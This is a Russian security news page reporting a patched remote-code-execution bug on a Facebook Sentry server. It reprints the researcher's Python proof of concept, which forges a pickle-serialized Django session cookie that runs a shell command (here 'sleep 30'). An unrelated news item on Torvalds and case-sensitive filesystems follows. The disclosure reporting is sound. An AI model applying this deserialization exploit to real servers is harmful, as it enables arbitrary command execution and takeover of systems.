Баг на сервере Facebook позволял удаленно запустить вредоносный код

Олег Иванов 28 Августа 2018 - 10:08

...

Баг на сервере Facebook позволял удаленно запустить вредоносный код

Разработчики Facebook исправили серьезный баг, который мог привести к удаленному выполнению кода. Сама уязвимость была обнаружена на одном из серверов интернет-гиганта, о чем сообщил исследователь безопасности Дэниел Ле Галл, также известный под псевдонимом «Blaklis».

Ле Галл, работающий в SCRT Information Security, в пятницу заявил, что ему выплатили $5000 за сообщение о проблеме безопасности.

Суть уязвимости в том, что злоумышленник может выполнить произвольные команды, используя вредоносные файлы cookie.

Несмотря на то, что подобные бреши обычно довольно опасны, эксперт подчеркнул, что с помощью этого бага нельзя было получить пользовательские данные. Разработчики устранили уязвимость в этом месяце, еще до того, как была опубликована информация о ее наличии.

«Blaklis» утверждает, что недостаток был найден на одном из серверов Facebook, где было запущено программное обеспечение для сбора логов Sentry.

«Само приложение было крайне нестабильным, особенно в отношении функции сброса пароля пользователя», — объясняет специалист.

В итоге Ле Галлу удалось найти в логах детали обработки cookie, а также подробности использования приложением протокола Pickle, который может быть уязвим для различного рода манипуляций. Используя все вышеозначенные данные, эксперт мог обработать файлы cookie, которые могли запускать команды на машине.

Исследователь опубликовал PoC-код, который является небольшим файлом cookie:

#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os
SECRET_KEY='[RETRIEVEDKEY]'
#Initial cookie I had on sentry when trying to reset a password
cookie='gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw'
newContent =  django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
    def __reduce__(self):
        return (os.system,("sleep 30",))
newContent['testcookie'] = PickleRce()
print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)

Следующая главная новость »

Подписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

Екатерина Быстрова 28 Апреля 2025 - 08:36

Linux Ошибки конфигурации программ Домашние пользователи

Линус Торвальдс: Чувствительные к регистру файловые системы — это ошибка

На днях вокруг обновлений в Linux 6.15-rc4 вспыхнуло горячее обсуждение. Всё началось с того, что разработчик Kent Overstreet поднял старую тему про ошибки в патчах для поддержки чувствительных к регистру файлов и папок в драйвере Bcachefs.

Мол, когда почти два года назад внедряли эту поддержку, тесты были, но… их никто толком не прогнал. Упустили. Кент честно признал:

«Одних автоматических тестов недостаточно. Нужно глазами следить за тем, что делает твой код».

И вроде бы обычная история про баги и уроки на будущее, но тут в беседу резко ворвался Линус Торвальдс. Сначала коротко ответил: «Нет». А потом выдал фирменную речь:

«Единственный урок — работники с файловой системой ничему не учатся. Чувствительные к регистру имена — это катастрофа, и вам вообще не стоило их делать. Проблема не в тестировании — проблема в том, что вы вообще это начали».

Торвальдс объяснил, что такие фичи делают систему только хуже:

«Нет правильного способа сделать это как надо. А попытки "сделать правильно" превращаются в хаос, где случайные байты вдруг обретают магическое значение».

По его мнению, тесты на проверку таких штук тоже «абсолютно поломаны» и не покрывают самых опасных сценариев — тех, которые могут привести к реальным уязвимостям. И тут началась настоящая перепалка.

Overstreet попытался парировать: мол, реальная потребность в таких каталогах всё-таки есть, и задача — не ныть, а сделать всё аккуратно и читаемо. Торвальдс не сдал позиции:

«Если бы кто-то хоть раз показал качественную реализацию, я бы, может, и передумал. Но пока вижу только плохой код, который не понимает, как работает UTF-8 и юникод».

Overstreet возразил, что опасения по поводу безопасности уже не так актуальны, ведь всё меньше используется совместный доступ к каталогам вроде /tmp. Но Торвальдс остался непреклонен.

Дальше спор скатился в детали реализации кеширования (dcache). Overstreet настаивал, что именно из-за оптимизации там и возникли проблемы. Торвальдс парировал:

«Ты явно не понимаешь, как работает dcache. Я, между прочим, большую часть этого кода писал».

Когда Kent не поверил, Линус напомнил, что писал эти части ещё в конце 90-х, и если появляются «dentry-алиасы», то «значит, ты что-то делаешь не так». В итоге Overstreet признал, что да, ошибался насчёт некоторых моментов — но сделал это, конечно, в своём стиле.